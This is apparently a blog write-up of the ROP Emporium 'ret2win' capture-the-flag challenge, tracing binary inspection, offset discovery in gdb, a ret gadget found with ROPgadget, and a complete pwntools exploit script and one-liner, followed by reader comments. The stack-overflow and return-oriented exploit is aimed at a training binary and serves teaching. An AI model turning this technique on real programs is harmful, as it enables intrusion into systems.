ROP Emporium Writeup – ret2win
# Information:
CTF Name: ROP Emporium
CTF Challenge: ret2win
Challenge Category: Binary Exploitation
Challenge Points: N/A
Level 1 ROP Emporium
# Used Tools:
# Challenge Description:
You can solve this challenge with a variety of tools, even the echo command will work, although pwntools is suggested. If you decided to go for a more complex exploit than a ret2win then be aware that input is truncated for these simpler challenges. Find out how many bytes you have to construct your chain in each challenge using ltrace and looking at the call to read(). If your ROP chain seems perfect but the binary is crashing before printing the flag see the common pitfalls section of the beginner’s guide, especially if you’re using Ubuntu 18.04.
They also provide a zip file. For:
Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.
Note: This is an introductory challenge to ROP attacks. It is a great way to better understand how ROP attacks work and how to execute them yourself.
# Writeup
In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag inside and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack. I am new to ROP chain attacks and after several hours reading about it and trying some attacks myself I was able to better understand how they work and how to exploit them.
Moving on.
Step 1
I decided to start by gathering more information about the binary file, to so so I did the following command:
mregra on Cyber $ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
mregra on Cyber $
The binary is a ELF executable for 64-bit architecture. As expected.
Step 2
Now I will verify the security of this binary file, by doing:
mregra on Cyber $ checksec ret2win
[*] '/home/mregra/CTF_Code/ROP_Emporium/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
mregra on Cyber $
In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.
Let’s move on to the next step.
Step 3
Afterward, I decided to run the program and see its behavior, this was the result:
The program somewhat asks if we can break the program and overflow the buffer. Okay, let’s move on and try to get the flag!
Step 4
Before sending random size arrays to overflow the buffer I decided to fire up radare2. I thought it was more important to see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:
With this I have some important information. In particular I know the address of the functions of this program, for example:
In red we have the main, in blue the ret2win function and in yellow the pwnme. I am guessing that maybe the flag is in ret2win or pwnme. Let’s move on now that we know the address of all of them. Let’s try to read the Assembly code for each one to see if we can learn something extra that might be relevant.
The main:
The pwnme function:
The ret2win function
It looks like the main function calls the pwnme and there is where we get the input from the user. It is also possible to see in this function that they are creating a buffer with size 0x20 (32 in decimal) and then with the read function they ask the user some input and write it into the buffer, the problem here is that they write 0x38 bytes (56 in decimal) from the standard input into the buffer, and obviously, 56 is greater than 32 making this a normal buffer overflow scenario.
Note: A buffer overflow attack consists of filling the buffer with random characters beyond its capacity. The analogy comes from filling a glass until it overflows, spilling its contents.
Also, it is in the ret2win function that we can get the flag, look at the bin_cat_flag.txt. This will print the contents of flag.txt to the screen.
So now the question is how can we jump to ret2win, considering that it is never called. We know that we need to jump to the start address of ret2win, in this case, is 0x00400756.
Step 5
Let’s now try to break the stack and see if we can find the exact amount of junk we need to inject to break it.
We know from previously, that the buffer size is 32 bytes but the program is reading 56 bytes from the standard input. We know that we need more than 32 to overflow the buffer and it is not necessary to go over 56 bytes. I decided to give 50 bytes a try:
First I went to gdb by typing:
mregra on Cyber $ gdb ret2win
Then I was prompted with the gdb-peda$ console. Afterwards, I created a pattern with 50 bytes, as such:
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
After having the pattern I run the ret2win program, by typing r, as you can see at the beginning of the next image. Then I inserted the previously generated pattern as input to the program. As expected it overflowed causing a segmentation fault (as you can see in the image). Knowing this, we now have to find the offset for this particular overflow. To do so I checked the contents of the register RSP.
By looking at the image it is possible to find the register:
RSP: 0x7fffffffdd48("AA0AAFAAbA\n")
Now that we have the content of the RSP register, all it is left us to do to be able to find the offset is:
So it seems that the offset is 40 bytes.
Step 6 (If you are using a Ubuntu 18.04 or up, otherwise go to step 7)
In this case, as stated in the ret2win page you have to add an additional return because the MOVAPS issue. In Ubuntu 18.04 and up the stack might be misaligned after segfaulting. From the site:
“The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.”
ret2win page
Knowing this I decided to try padding the ROP chain with an extra ret. To do that I just needed to find the correct address of a ret, a ROP gadget. For that I used the tool ROPgadget:
mregra on Cyber $ ROPgadget --binary ./ret2win --ropchain
Gadgets information
============================================================
0x000000000040060e : adc byte ptr [rax], ah ; jmp rax
0x00000000004005d9 : add ah, dh ; nop dword ptr [rax + rax] ; ret
...
...
0x0000000000400690 : push rbp ; mov rbp, rsp ; pop rbp ; jmp 0x400620
0x000000000040053e : ret <-------- We need this address
0x0000000000400542 : ret 0x200a
0x0000000000400608 : sal byte ptr [rbp + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040064a : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x0000000000400535 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004007f5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004007f4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004007ea : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400534 : test eax, eax ; je 0x40053a ; call rax
0x0000000000400533 : test rax, rax ; je 0x40053a ; call rax
Unique gadgets found: 94
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[-] Can't find the 'mov qword ptr [r64], r64' gadget
mregra on Cyber $
As you can see in the output above we have a return ROP gadget in the address: “0x000000000040053e“.
Now we can create the exploit.
Note: The output was compressed and part of it was ignored (represented by the …). If you want to see the full output try the command in a Linux terminal.
Step 7
Now that we have the offset, the extra ret address (for Ubuntu 18.04 + users) and the ret2win address (which is the function that we want to jump to because is the one that returns the flag) we are ready to create our exploit. To do so I decided once again to use Python 3. Below you can find the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
elf = ELF('ret2win')
p = process(elf.path)
#Prepare the payload
payload = b"A"*40 #creates the junk part of the payload
payload += p64(0x40053e) #ret address ROP chain. Necessary because we are in Ubuntu 20.04 64bits
payload += p64(elf.symbols.ret2win) #address to ret2win() function
# Send the payload
p.sendline(payload) #send the payload to the process
response = p.recvall() #gets all messages in the process
print(re.search("(ROPE{.*?})",response.decode()))
In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the ret2win in our case.
Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.
The idea is simple (after hours trying to understand this though). We simply have to first add the junk (a 40 bytes long random array of characters, in our case “A”). After this, if you are in a Ubuntu 18.04 or up you have to add an extra return address, the one we discovered in step 6. Otherwise, you can jump this part.
Afterward, we have to add the ret2win address to the payload. Making it like this:
For Ubuntu 18.04 +:
payload = 40 bytes of junk + return address + ret2win address
Other:
payload = 40 bytes of junk + ret2win address
Then I simply run the script, here is the result:
If you prefer, you can also write the exploit as a single command line, as such:
mregra on Cyber $ python3 -c 'from pwn import *; print("A"*40 +
"\x3e\x05\x40\x00\x00\x00\x00\x00" + "\x56\x07\x40\x00\x00\x00\x00\x00")' | ./ret2win
The Python 3 script source code can be found here.
Thank you very much for reading!
Cheers,
MRegra
Unquestionably believe that which you stated. Your favorite justification seemed to be on the internet the
easiest thing to be aware of. I say to you, I certainly get irked
while people think about worries that they plainly do not know about.
You managed to hit the nail upon the top as well
as defined out the whole thing without having side-effects ,
people could take a signal. Will probably be back to get more.
Thanks
Hi I am so delighted I found your web site, I really found you by accident, while I was researching on Askjeeve for something else,
Anyways I am here now and would just like to say many thanks for a
tremendous post and a all round entertaining blog
(I also love the theme/design), I donβt have
time to read through it all at the moment but I have saved it
and also included your RSS feeds, so when I have time I will be back to read more, Please do keep up the awesome b.
I’m not from an English-speaking country, so I apologize for my poor English.
I’m a beginner in CTF and I’ve been struggling with this problem for a long time.
Not only this “ret2win”, but the pwn problem has always been…unsolvable, until I saw this article.
I’m very happy to have found your site.
I’m so glad to have found your site. The explanation that has been frozen in my mind for several years has been solved, and now I feel as if the light of day has shone in my heart.
I can’t tell you how much I appreciate it, but I really, really…thank you.
Thank you very much for your feedback. I am glad I was able to help you! π
Feel free to follow my content.
Have a nice day and happy hacking! π
Cheers,
MRegra